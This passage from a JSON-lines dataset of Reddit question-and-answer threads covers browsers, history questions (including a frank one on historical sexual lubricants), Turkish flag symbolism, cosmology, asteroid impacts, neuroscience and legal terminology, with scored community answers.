[[], [], [], ["http://www.cnn.com/2015/09/21/us/salmonella-peanut-exec-sentenced/index.html"]]}
{"q_id": "3gp0cd", "title": "how does microsoft's new edge browser compare to firefox or chrome, in terms of what each can do, do well, or do better than the others?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3gp0cd/eli5how_does_microsofts_new_edge_browser_compare/", "answers": {"a_id": ["cu06fwo", "cu071cd", "cu08q82", "cu09tx5"], "score": [34, 7, 3, 6], "text": ["I wanted to use Edge, really... but I've realized you can't really add AdBlock to it, so I was continuously spammed with ads. Chrome was installed within 2 minutes.", "I haven't really tested out Edge to its full extent (only layman tests after installing Win10 for the first time). You can look up the benchmark results for various tests performed by other, better qualified techies than myself. Personally, I use Chrome for the fact that Edge doesn't support extensions. \n\nFrom what I can tell (through my rigorous, calculated, and obviously expertise testing /s): Appearance-wise, it looks very similar to Chrome and, speed-wise, it performs almost as well as Chrome (and sometimes even outperforms Chrome) but the difference is negligible. Edge comes standard with the capability to doodle/make annotations on web pages but with Chrome you can download an extension for that (as there's an extension for anything and everything). Edge came out with a \"Reading Mode\" feature that will take online articles and reformat the page and layout without all the ads or links on the sides and essentially makes the webpage look simple and minimalistic so it makes it easier to read which is neat...but, again, Chrome has an extension for that. \n\nSo my verdict: Both browsers look nice and both perform well. Edge is simple and clean which makes it a good barebones type of internet browser with a couple of neat tricks but, in my humble opinion, you can get the same \"tricks\" and features from Chrome plus many more.\n\n(I haven't used FF in, at least, a few years so I did not include it in the comparison)\n\n**TL;DR: Chrome > Edge**\n\n*Aforementioned Chrome extensions:*\n\n* Clearly - Reading mode\n* Page Marker - Draw/doodle or make annotations on web pages", "Edge is similar to Internet Explorer in that it doesn't use up as much battery life and RAM as Chrome. This is really important with any laptops or tablets running Windows (you could get 1-2 hours more web browsing time), so that may not be so important if you use a PC most of the time. It also doesn't have touchscreen gestures, which again, may not be important to you. It also has note taking features, which is probably only going to be used by people who own a Surface tablet. It also doesn't support extensions at the moment, which is probably the biggest deal breaker to most people.\nAnd Edge is still quite buggy now since it just got released, so keep this in mind. It's mainly designed for portable devices, so it's probably not worth it if you're already established in Chrome and use PC most of the time.", "Edge is incredibly optimized. It's the fastest browser I've ever used by far. Pages render pretty much instantaneously and it barely uses any battery or RAM. \n\nHowever, the extension support is lacking. If I could get adblock and a few other extensions for it, I'd switch from Chrome without ever looking back. Unfortunately, they aren't available yet. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "2aygwa", "title": "How did people in the past perform anal sex without modern access to lubrication?", "selftext": "Anal sex is mentioned throughout history, such as in the Bible and in Greek history, but how was this done before modern access to lubricants that are safe for the body? Did they go in dry, so to speak? From my understanding that is risky and painful.\n\nEdit- wow I never expected this to get big. Thanks for all the responces. I am enlightened about ancient buggery now in ways I could never have imagined. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2aygwa/how_did_people_in_the_past_perform_anal_sex/", "answers": {"a_id": ["cj01rqz", "cj03467", "cj035tu", "cj06vx3", "cj088ai", "cj0jbg9", "cj0os22"], "score": [894, 97, 236, 388, 204, 10, 7], "text": ["They used oil as lubricant.\n\nSince we already have the NSFW-tag for this question, allow me to give you some sort of 'source'.  There's a Roman novel written by Gaius Petronius that has some quite perverted parts in it. The name of the novel is 'Satyricon'.\n\n\"Profert Oenothea scorteum fascinum, quod ut oleo et minuto pipere atque urticae trito circumdedit semine, paulatim coepit inserere ano meo. - Oenothea held up a leather dildo which she oiled and covered in pepper and crushed nettle seeds and began pushing it up my arsehole, inch by inch.\"", "In Japan there is a type of yam (Nagaimo) that is grated to make a very slimy substance. It's eaten as a food but was also traditionally used as a sexual lubricant.\n\nNot the best source, but: _URL_0_\n\nAnyway, an example of a safe water based lubricant. In general I think it's wrong to imagine that premodern people did not have access to various plant-based substances that would've done the job.", "As others have stated, they used natural oils as a lubricant. \n\nQuotes from [Lubzilla](_URL_1_): \n\n*The Greek philosopher Aristotle references the contraceptive powers of olive oil mixed with cedar oil, lead, and frankincense. From Greek texts, we also know that women would also use leather dildos lubricated with olive oil, and it stands to reason that olive oil was probably the go-to lubricant for that time period.*\n\n*In Japan\u2019s Edo period (1603-1868), couples used tororo-jiru, a slick substance made by grating Chinese yams. Early Chinese condoms made from animal intestine or treated linen were often coated with a few drops of vegetable oil to facilitate penetration*\n\nHere is some info about [Anal sex in Roman times](_URL_0_) \n\nHope this helps!", "Mod note: A number of people have chimed in to respond with nothing aside from:\n\n > \"Spit\"\n\nAside from the fact that this *is not* the type of comprehensive and in-depth response we expect in this subreddit, this is really bad advice in general. Contrary to what you see in pornography, spitting on your hand and rubbing it on down there really isn't sufficient preparation, and can lead to some unfortunate experiences. So please stop answering with it here, and please don't try it at home!\n\nEdit before people start to chime in saying it works fine for *them*. Good for you, but it is still terrible advice to hand out.\n\nEdit 2: Again, if it works for you, great! I assume you are experienced and know your limits. That doesn't change the fact it is [objectively](_URL_2_) [bad](_URL_3_) [advice](_URL_1_) to [hand out](_URL_0_)! If that's what you tell people when they ask for advice, you are doing them a great disservice. If you *really* need to tell me about your firmly held beliefs in how to have anal sex though, PM me instead of responding to this post.", "Despite what the mod said below, using spit was mentioned in two separate entries in Chinese Qing dynasty joke collection \u7b11\u6797\u5e7f\u8bb0 (The current edition was publish in late 1700s, and it contains tons of nsfw jokes), these two entries are both about monks doing it with (or trying to it without) spit, they contain puns that are too difficult to translate, so I just have the Chinese text here:  \n\n\n1.    \u5f00\u8364\n\n    \u5e08\u7236\u591c\u8c13\u6c99\u5f25\u66f0\uff1a\u201c\u4eca\u5bb5\u53ef\u5e72\u4e00\u7d20\u4e86\u3002\u201d\u6c99\u5f25\u66f0\uff1a\u201c\u4f55\u4e3a\u7d20\u4e86\uff1f\u201d\u50e7\u66f0\uff1a\u201c\u4e0d\n\u7528\u553e\u8005\u662f\u4e5f\u3002\u201d\u5df2\u800c\u6c99\u5f25\u75db\u751a\uff0c\u53eb\u66f0\uff1a\u201c\u5e08\u7236\uff0c\u71ac\u4e0d\u5f97\uff0c\u5feb\u4e9b\u5f00\u4e86\u8364\u7f62\u3002\u201d\n\n\nEDIT: OK I translate this one quickly, not that funny as in the original language:  \n\nThe monk told his disciple \"Tonight let's do it vegetarian style.  \"\n\nThe disciple: \"What's vegetarian style? \"\n\nThe monk: \"Not using spit.  \"\n\nWhen it happened the disciple found it too painful: \"Can't stand this vegetarian lifestyle, let's abandon it now.  \"\n\n(Chinese Buddhists are supposed to be vegetarian)  \n\n\n2.    \u9e26\u566a\n\n    \u4e00\u58eb\u501f\u50e7\u623f\u8bfb\u4e66\uff0c\u5ffd\u95fb\u9e26\u566a\uff0c\u8fde\u8fde\u53e9\u9f7f\u3002\u5f92\u95ee\uff1a\u201c\u76f8\u516c\u4e3a\u4f55\uff1f\u201d\u7b54\u66f0\uff1a\u201c\u9e26\u566a\u3002\u201d\n\u5f92\u66f0\uff1a\u201c\u6211\u4eec\u4e2b\u71e5\uff0c\u4e0d\u662f\u8fd9\u7b49\u89e3\u6cd5\uff0c\u662f\u62d3\u8c17\u5410\u7684\u3002\n", "Did anyone use butter? Was oil more widespread than where olives grow? Did people only have anal sex in areas with abundant olives?", "Though I can't remember details exactly, last year I read \"Male Colors: The Construction of Homosexuality in Tokugawa Japan\" by Gary P. Leupp. (I'm on my mobile so opted to use quotes for the book title since I can't italicise it)\n\nIn the book, they talk about homosexuality and prostitution. A passage mentioned different costs associated with buying time with the male prostitutes, with 'dry' being the most expensive. \n\nEDIT: Just opened up the file on my Kindle and found that clove oil is often mentioned as a lubricant.\nAlso found information which states that the text Makura bunko instructed 'one how to produce a sexual lubricant from egg white, arrowroot starch and a glue plant called funori.'"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.clovegarden.com/ingred/ym_nagaimoz.html"], ["http://en.wikipedia.org/wiki/Sexuality_in_ancient_Rome#Anal_sex", "http://101.lubezilla.com/featured-stories/what-did-people-use-for-lube-before-the-20th-century/"], ["http://books.google.com/books?id=zIrGAgAAQBAJ&amp;pg=PA57&amp;lpg=PA57#v=onepage&amp;q&amp;f=false", "http://books.google.com/books?id=2D3INi0gbsYC&amp;pg=PT114&amp;lpg=PT114#v=onepage&amp;q&amp;f=false", "http://std.about.com/od/sextips/tp/10-Bad-Habits-From-Watching-Sex-In-Porn.htm", "http://books.google.com/books?id=pHb_Qel6IfkC&amp;pg=PA122&amp;lpg=PA122#v=onepage&amp;q&amp;f=false"], [], [], []]}
{"q_id": "aomzo7", "title": "Was wool spinning a profitable occupation for medieval European women?", "selftext": "There is currently a meme going around Facebook that says, in part that spinning wool in Europe in the middle ages\n\n\"was a stable job that paid very well. Well enough that it was one of the few viable economic options considered \"respectable\" outside of marriage for a woman. A spinster could earn a tidy sum for her art, and maintain full control over her own money, no husband required. So, naturally, women who had little interest in marriage or men? Grabbed this opportunity with both hands and ran with it. Of course, most people didn't get this, because All Women Want is Husbands, right?\"\n\nWas spinning wool in Europe in the middle ages a way for a woman to make a good living as the meme says? My understanding of 19th c. sewing piecework and the 18th c. working poor made me assume that women generally had a lot of trouble making a living on their own from wage work in the past.\n\n(The post in question is here: _URL_0_)", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/aomzo7/was_wool_spinning_a_profitable_occupation_for/", "answers": {"a_id": ["eg2g9ay"], "score": [19], "text": ["To quote [the entire original post](_URL_0_):\n\n >  I honestly always find the term \u2018spinster\u2019 as referring to an elderly, never-married woman as funny because you know what?\n >  \n >  Wool was a huge industry in Europe in the middle ages. It was hugely in demand, particularly broadcloth, and was a valuable trade good. A great deal of wool was owned by monasteries and landed gentry who owned the land. \n >  \n >  And, well, the only way to spin wool into yarn to make broadcloth was by hand. \n >  \n >  This was viewed as a feminine occupation, and below the dignity of the monks and male gentry that largely ran the trade. \n >  \n >  So what did they do?\n >  \n >  They hired women to spin it. And, turns out, this was a stable job that paid very well. Well enough that it was one of the few viable economic options considered \u2018respectable\u2019 outside of marriage for a woman. A spinster could earn quite a tidy salary for her art, and maintain full control over her own money, no husband required. \n >  \n >  So, naturally, women who had little interest in marriage or men? Grabbed this opportunity with both hands and ran with it. Of course, most people didn\u2019t get this, because All Women Want Is Husbands, Right?\n >  \n >  So when people say \u2018spinster\u2019 as in \u2018spinster aunt\u2019, they are TRYING to conjure up an image of a little old lady who is lonely and bitter. \n >  \n >  But what I HEAR are the smiles and laughter of a million women as they earned their own money in their own homes and controlled their own fortunes and lived life on their own terms, and damn what society expected of them. \n\nSigh. No. I don't even think it's possible to consider systlin's intentions as good, considering that they later came back and posted a whole bunch of links to \"sources\" for this post that do not in any way prove their point. (It's a well-known tactic: just giving a citation often makes people assume that the citation is relevant.)\n\nWomen in general were categorized in law and writing as maidens (with connotations of youth and dependency on fathers), wives (mature adults with more responsibility, dependent on a husband), and widows (elderly, dependent on inheritance or sons), and conceptualized single adult women generally as either servants or prostitutes despite the reality that some did work for their own living - tax rolls in some towns show many unmarried women who still lived under their parents' roofs classified as \"servants\". Lifelong singlewomen in the secular English world - that is, excluding nuns - were not really a recognized bloc until the late seventeenth century, and this was followed by the creation of a negative stereotype of the embittered old maid/spinster. Prior to this, singlewomen were looked upon with a more individual suspicion; since they were presumed as \"maids\" to be young, irresponsible, and in need of parental control, town leaders found it problematic to have them living on their own, and in other cases there were fears that their lack of husband would lead to their becoming \"common women\" (prostitutes or sexually active unmarried women). Even if they were doing nothing wrong, they still represented a threat to the social order - they weren't under suspicion for not apparently *wanting* husbands, but for not being controlled by husbands, period.\n\nNo forms of women's work were lucrative. Basically, women were allowed to do work considered low-status and low-skill; if a form of work were respected, it was then seen as not appropriate for women. If a form of work had been associated with women for thousands of years, like spinning, it was seen as requiring little skill and was paid accordingly. So systlin is coming from a perspective that makes sense - men did not want to spin, despite the necessity of someone creating thread for weavers, so it was relegated to female spinsters. Brewing ale was a fairly common women's occupation in the decades before the Black Death: since wives typically made it for their families, they could make more than they needed or could consume before it spoiled and sell it on the side, and a minority did it on a more intensive and regular scale. Post-plague, though, male wage laborers had more money to spend and noble households had to switch from wine to beer for a time - this made brewing pay better and thus caused men to take it over, pushing the women out of it. If spinning had been lucrative, as systlin says, it would have stopped being below masculine dignity and would have been conceptualized as a skilled profession. It did not pay very well, particularly during the mid-fifteenth century agricultural crisis (which affected the wool trade), and women who were unmarried and needed to support themselves with their spindles did not just laugh their way through life. \n\nSome further reading:\n\n*Ale, Beer, and Brewsters in England: Women's Work in a Changing World, 1300-1600*, Judith Bennett (Oxford University Press, 1996)\n\n*Never Married: Singlewomen in Early Modern England*, by Amy M. Froide (Oxford University Press, 2005)\n\n*Women in Medieval English Society*, by Mavis E. Mate (Cambridge University Press, 1999)\n\n*Daughters, Wives and Widows after the Black Death: Women in Sussex, 1350-1535*, by Mavis E. Mate (Boydell  &  Brewer, 1998)"]}, "title_urls": [], "selftext_urls": ["https://www.facebook.com/AcesArosEnbies/posts/1774440422616556"], "answers_urls": [["http://systlin.tumblr.com/post/173164124845/i-honestly-always-find-the-term-spinster-as"]]}
{"q_id": "16y124", "title": "Why wasn't Europe invaded after the Bubonic plague by other kingdoms?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/16y124/why_wasnt_europe_invaded_after_the_bubonic_plague/", "answers": {"a_id": ["c80fpwx"], "score": [46], "text": ["During the time when the Black Death peaked in Europe (middle 1300s), the only other kingdoms really positioned to threaten the bulk of Europe would have been the various Islamic rump states left over after the collapse of the centralized caliphates. The plague swept through the Middle East and Eastern Europe/Balkans before reaching Western Europe so those areas were in no state to capitalize."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2ade0d", "title": "Are there any known real life epic karate or kung fu fights like in the movies?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2ade0d/are_there_any_known_real_life_epic_karate_or_kung/", "answers": {"a_id": ["ciu2eve", "ciuct4l"], "score": [18, 2], "text": ["Sort of. In 1954 in Macau there was a kungfu competition between [Wu Gongyi](_URL_0_) (53) and Chen Kefu (35), two local martial arts experts. Wu Gongyi had put out an ad challenging all-comers, and Chen Kefu accepted it.\n\nVideo of the fight can be seen here: _URL_1_\n\nBe warned though, you won't be impressed with that fight. But it was a big deal in Hong Kong and Macau when it happened, and led to the revival of the wuxia genre of fiction (basically, martial arts fiction) in Hong Kong, as newspapers began serializing wuxia novels.", "In the post-war streets of Hong Kong, there were young, otherwise idle, martial arts masters from various schools. Being idle young men, they found diversions and the illegal, bare knuckle street fighting circuit known as 'beimo' was founded. \n\nAmong the most famous practitioners of this was Wong Shun Leung, student of the legendary Yip Man. Wong allegedly won 60 fights with the then unknown Wing Chun style. Wong rapidly became a sort of underground celebrity and helped to spread the popularity of Wing Chun before one Bruce Lee exploded on to the scene. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Wu_Kung-i", "https://www.youtube.com/watch?v=2FsZyPjsjTA"], []]}
{"q_id": "3decsr", "title": "Did 18th century Europeans actually believe tomatoes are poisonous?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3decsr/did_18th_century_europeans_actually_believe/", "answers": {"a_id": ["ct4dso1", "ct4gx5q"], "score": [6, 3], "text": ["There is an urban legend that early (non-indigenous) Americans believed tomatoes to be poisonous.  It was most notoriously given credibility by a national CBS radio broadcast in 1949:\n\n >  This episode of the *You are There* series depicted an event purportedly held in September 1820 in Salem, New Jersey.  According to the CBS broadcast, prior to this date Americans considered the tomato poisonous.\n\n[Smith, *The Tomato in America*, p. 3](_URL_1_)\n\nIn fact there is ample evidence that the tomato was widely eaten.  For example, the third edition of the *Encyclop\u00e6dia britannica* (1797) [stated that](_URL_0_)\n\n >  The tomato is in daily use; either being boiled into soups or broths, or served up boiled as garnishes to flesh-meats.", "Can that really be considered a myth? Because the potato (Nightshade) plant produces tomato-like fruit which *can* be poisonous. So there is actually some truth to it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://books.google.com/books?id=Ad1TAAAAYAAJ&amp;dq=tomato%20poisonous&amp;pg=PA598#v=onepage&amp;q&amp;f=false", "https://books.google.com/books?id=e82QWB89_sIC&amp;lpg=PA3&amp;dq=tomato%20poisonous&amp;pg=PA3#v=onepage&amp;q&amp;f=false"], []]}
{"q_id": "1bzc60", "title": "In an a large asteroid or comet strike, does the angle of impact make a difference? Same with a ground vs. air burst.", "selftext": "Also, What if there was an impact was in deep ocean, would it make it to the ocean floor?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1bzc60/in_an_a_large_asteroid_or_comet_strike_does_the/", "answers": {"a_id": ["c9bl66q", "c9brp5p"], "score": [2, 2], "text": ["Yes, they absolutely make a difference.  Mybest advice is to spend some time playing with this _URL_0_", "The major difference that angle of impact makes is whether or not it will explode in the air. \n\nAt a low angle of reentry the meteor (comets work differently) has a longer time to heat up and flatten, this flattening causes more heat to be generated and the cycle self-accelerates. It reaches a point where it can no longer retain its shape and shatters, which causes a massive shockwave. \n\nThe altitude at which this happens is dependent on the exact composition and size of the asteroid, the angle of entry, and the orbital velocity of the asteroid.\n\nAir burst shockwaves do damage in the same fashion as air burst atomic weapons.\n\nA ground impact has the difference of making a large crater and throwing large amounts of ash and debris into the air. It will cause a large shockwave, fireball, and debris plume. \n\n\nWater impacts are a bit different. If they happen in deep water, with a large impactor, they will both vaporize a large amount of seawater, and cause a terrible tsunami. Again, dependent on the size of impactor."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://impact.ese.ic.ac.uk/ImpactEffects/"], []]}
{"q_id": "hff5k", "title": "Is an infinite Universe, and the Big Bang mutually exclusive?", "selftext": "How can the Universe be infinite, if it started out as something finite? \n\nI understand the idea that if you go in a straight line, you'll end up back where you started. But, that's a function of gravity. Does an infinite Universe contain an infinite amount of mass?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/hff5k/is_an_infinite_universe_and_the_big_bang_mutually/", "answers": {"a_id": ["c1uzjcf", "c1uzpek"], "score": [2, 19], "text": ["The Big Bang does not postulate that the Universe started out finite. Many panelists on here will complain that \"Big Bang\" is a misnomer of epic proportions because of this misconception.\n\nAlso, because the currently accepted geometry of the Universe is infinite and flat, you won't end up back where you start if you set off in a straight line.\n\nBecause the Universe appears generally isotropic, it is concluded that it indeed has infinite mass spread out more or less evenly everywhere.", "No sir.\n\nWe currently have no idea if the Universe is infinite. None whatsoever. Fortunately, that question has nothing to do with the Big Bang, because the Big Bang isn't an explosion of some small finite region of space outward. Rather, as you'll hear a million pop-sci expositions tell you, it was an explosion *of* space.\n\nIf the Universe were 2-D, you might think of it as a grid, and the expansion of the Universe is the expansion of the lines on that grid. The Big Bang is just what happens when you take that all the way back, when the grid lines were together.\n\nNow, this can happen whether or not you have an infinitely large grid."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "6y6wph", "title": "Do all brains have a common \"neurological language\"?", "selftext": "Warning, complete idiot-who-knows-next-to-nothing-about-the-subject-yet-still-finds-it-interesting here, what I'm asking about is the viability of \"neural decoding\".\n\nWhen I imagine, say, \"a yellow duck in a pond\", I assume there is a set of neural activities in the brain that corresponds to the idea of \"a yellow duck in a pond\", right?\nBut what happens when someone else imagines the same thing? Do they get more or less the same set of neural activities?\n\nIs the \"language\" by which the brain represents the ideas as neural activities, call it \"thinkalese\", universal or does everyone has his/her own \"thinkalese\" language?\n\nI'm fully aware that probably no one has a definitive answer yet, but does anyone have any idea -preferably backed with some research-?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6y6wph/do_all_brains_have_a_common_neurological_language/", "answers": {"a_id": ["dmlltdo", "dmln20q"], "score": [2, 8], "text": ["I can't speak for the brain activity itself, such as you might see watching a brain in an MRI, but from the linguistics perspective I can offer a little.\n\nThere are competing theories suggesting exactly the two options you suggested. Either that we all share a common mental construction that predisposes us to making language, and therefore, at some level, all speak/think in the same manner. Or, we don't and it is nothing more that common cultural experience that allows us to share languages (and through them, thoughts) with people we may never have met and have very little in common with.\n\nThe most famous proponent of the universal idea is Noam Chomskey who proposed a Universal Grammar, a set of shared codes by which all natural human languages are constructed, but also that it is a natural and inherent part of who we are, and what makes us human. It suggests that something else, a non-human, would be incapable of developing languages as we do, unless by some quirk of the universe they share the same traits.\n\nEvidence for UG are fairly broad, from things like the statistically rapid rate that children can acquire languages, to the 'critical learning period' a stretch of time in a child's life where, if they fail to acquire language, they never develop into what we would consider a functional adult. These suggest that language is not only natural to us (we learn it easily because it is native to our \"hardware\") and that it is central to our humanity (we never reach our potential without it).\n\nA strong argument against this suggests that there can't have been enough evolutionary pressure to generate language in the time we've had language, compared to the time there has been to generate non-language human cognition.\n\nThis is a roundabout way of saying, there is no firm answer, to my knowledge. But it is something that is currently being researched.", "Short answer: not really.\n\nLonger answer: Some parts of the brain function in a fairly standard fashion. Seeing \"a yellow duck in a pond\" would activate similar systems on the visual cortex and in some cases on some low level emotional systems. In general the lower level systems tend to be fairly similar between subjects but there is still variability. Higher level systems that correspond to what you would call thinking in general are not. \n\nSome response patterns are also universal and arise from the most basic level of neural structure. As an example i could take neural gating which affects the pattern of response to successive stimuli.\n\nDecoding across subjects is possible in simple tasks but tends to fail in more complex task. You can train a classifier to recognize certain activation pattern on temporal lobe as some simple auditory response. However you cannot (at least for now) train a classifier to recognize what the subjects think about it. That is kinda by definition personal and thus different for everyone. The brain is not a general purpose computer running some program. It is a system where what you think directly rises from the physical structure of the system. Thus everyone necessarily has a different structure and operation there."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1t2fi5", "title": "what is the benefit of reddit downvotes?", "selftext": "Doesn't upvotes in itself prove the worth of a post without the pettiness that downvotes encourages?\n\nEdit: Typo.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1t2fi5/eli5what_is_the_benefit_of_reddit_downvotes/", "answers": {"a_id": ["ce3n11t"], "score": [3], "text": ["I think it's to help ban offensive material. Something racist, for instance, might get upvoted by the few racists in a thread, but the downvotes are there to send it to the bottom in case it's a very unpopular opinion. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2wjumh", "title": "Why didn't the Turkish Republic change its flag?", "selftext": "When the Republic of Turkey was declared, the new regime seems to have gone to a lot of effort to intentionally distinguish itself from the Ottoman Empire.  The national capital was moved; the form of government was completely revised, and even some forms of traditional dress like the fez were banned.  \n\nYet the national flag continued to remain virtually unchanged.  In other situations (including the emergence of new governments during the same era, such as the Weimar Republic in Germany), the adoption of a new flag was a normal part of the transition.  Why didn't Turkey do so?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2wjumh/why_didnt_the_turkish_republic_change_its_flag/", "answers": {"a_id": ["corsvi9"], "score": [26], "text": ["The flag Turkey partially is the same as the Ottoman Empire.  If you look, the Ottoman Empire had two official standards: the red one, representing the Sultanate, and the green one, representing the Caliphate.  Here's [an example](_URL_1_).  Like many countries' flags, the flag had been in use as a naval emblem for longer than it was in use as a national flag.  The flag was officially adopted as a national emblem for the Ottoman Empire in 1844, as part of the modernizing Tanzimat reforms (this is also when the fez was introduced).\n\nAs for why it was kept, I can offer a few answers but none definitive.  The following, as it relates directly to the flag, is somewhat speculative.  First of all, while there was a large break between the Ottoman Empire (1299-1922) and the Turkish Republic (1923-), scholars like Erik Jan Zurcher argue that we should see a continuous \"Young Turk Era\" between the Young Turk takeover in 1908 (when the Ottoman sultan lost power to a nationalist band of military officers, eventually led by a triumvirate) and the Early Republican (aka Single Party) Era (1923-1945/1950).  While the personnel was mostly different (Ataturk and a few other bridged the two eras), sociologically and in terms of many policies there's a large amount of continuity.  If anyone is interested, I strongly strongly recommend Zurcher's twin articles \"Young Turks: Children of the Borderlands?\" and \"How Europeans adopted Anatolia and created Turkey\".  Many of the ideas that were eventual adopted in the Turkish Republic were first proposed by the Young Turks.  So while there is a sudden rupture, there's more transition than the date \"1923\" suggests.  \n\nSecond, the flag remained the same, but what it signified changed.  Partially.  First of all, you'll see many people argue that a lot of Ataturk's support, especially in rural areas, is impart because he was seen as a traditional defender of Islam, a *gazi* (a traditional title for a person victorious in a religious war), rather than the Republican leader of a nationalist movement.  To this day, if you say \"Gazi\", you're likely talking about Ataturk.  He got a few other similar traditional religious titles, though most of these have fallen out of use and I do not remember.  His secularizing reforms, I've argued, made little difference to religion in the countryside, with the exception of banning the Sufi orders (which in Turkey were more urban anyway) and having the call to prayer being recited in Turkish (which was a relatively late reform).  He was seen by some as a savior of Muslims, rather than a savior of Turks specifically.  This strange relationship between Turkey as secular, nationalist republic and Turkey as a (modern) homeland for the Ottoman Empire's (non-Arab) Muslims continues to the present day.  The state may have maintained some of the same symbols because they helped give legitimacy to the rule, especially in the countryside.  ~~The flag is perhaps the only place I've heard the Arabic \"el/al\" in Modern Turkish (the flag is sometimes called Al Bayrak, or Al Sancak)~~.  If you read the [lyrics to Turkey's national anthem](_URL_0_), you'll see that they're explicitly about this flag (as it was flown during the Turkish War of Independence).  The first line references the flag itself (~~\"crimson banner\" is a weak translation, though~~--a better translation would be \"Fear not, unbeatable is this ruddy banner [al sancak] which floats in the dawns\"), the third line references the \"star of my nation\" which \"is going to shine\" [forever], the fourth that this star is \"mine\".  The second stanza starts with a reference to the \"coy crescent\", but in short, changing the flag would require changing the national anthem as well, as well as changing this symbol that had served as an important rallying point in the War of Independence.\n\nBut the meanings behind the symbols partially changed.  The origin of the star and crescent is unclear--it has become associated with Islam generally, but actually pretty clearly was spread by the Ottoman Empire and doesn't really appear before the late Medieval period (centuries after the initial Arab conquests) and doesn't become common until the Modern era (17th/18th centuries).  Still, if you read late Ottoman accounts of the flag's origins, you hear about a dream that Osman had.  This is likely not true.  Though I am not an expert on the early Ottoman Empire (my research is on Republican Turkey), I believe that we only have very late sources for this.  What's interesting, though, is if you go around contemporary Turkey and ask people the origin of the star and crescent, often they will likely argue that it is a Republican symbol inspired by something Mustafa Kemal Atat\u00fcrk saw at the Battle of \u00c7anakkale (which in the West is called Galipoli)--a waking dream like vision of a star and the moon reflected in bloody on the ground.  Which is to say, that to most people today it is not an Ottoman symbol, but an explicitly Republican one. There are further stories that this is not a Muslim or Ottoman symbol, or even a Republican one, but an ancient Turkic symbol which dates back to Central Asia.  While associations with the Ottomans was negative, association with Central Asian pre-Seljuk Turks was not only kosher but highly encouraged.  The first textbook for Turkish history published in the Republic famously gives many chapters to Central Asia and only a few pages to the Ottoman Empire.  I haven't seen any research into when either of these new stories originate from, but it seems clear that even as the symbol itself remained unchanged, the Republican Turks changed the meaning of the symbol.  \n\nThese sorts of reversals in the meaning of signifiers were common in this period of Turkish history: the fez represented modernity and order starting from the Tanzimat period (1839-1876), and backwardsness in the Early Republican Period a century later (it was banned by the Hat Law of 1925).  Latin letters represented foreignness, but then they later simply represented modernity.  Arabic and Persian loan words indicated education, but then represented foreignness and backwardsness.\n\nSo, while I can't be positive about *when* exactly the meaning of the symbols changed, I would venture it wasn't changed because it was initially useful in gaining support for the new Republican State from traditionally oriented groups, and then rather than changing the symbol itself, the meaning behind the symbol was changed."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/\u0130stikl\u00e2l_Mar\u015f\u0131", "http://en.wikipedia.org/wiki/Flags_of_the_Ottoman_Empire#mediaviewer/File:Osmanli-nisani.svg"]]}
{"q_id": "akzdqw", "title": "what does \"cause of action\" in civil litigation mean?", "selftext": "I work as a paralegal in personal injury - mostly noise induced hearing loss. I hear this term a lot and was just wondering what does it actually mean?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/akzdqw/eli5_what_does_cause_of_action_in_civil/", "answers": {"a_id": ["ef97bah", "ef97hpz", "ef9ccfw", "ef9oypl"], "score": [7, 3, 3, 2], "text": ["\"Cause of action,\" in essence, means \"What set of facts and circumstances do you allege that gives you the reason to pursue legal action?\"\n\nPut more simply, it's the answer to the question \"What is causing this action?\"", "A cause of action just means the reason for a lawsuit. It's the fact or set of facts that allow for legal action to be taken. So for example, if you and I signed a contract, and I refused to honor it, or broke some provision in it, you could sue me for breach of contract. That's the cause of action.", "The facts that entitle a person to sue. The cause of action may be a wrongful act, such as trespassing; or the harm resulting from a wrongful act, as in the tort of negligence. ", "In NIHL claims, the cause of action would be discovering that you have hearing loss and attributing it to noise exposure. Usually following a hearing test. The cause of the injury may have been many years ago, but the date of knowledge is when the cause of action arises. This is important because claims are time limited to three years from cause of action."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
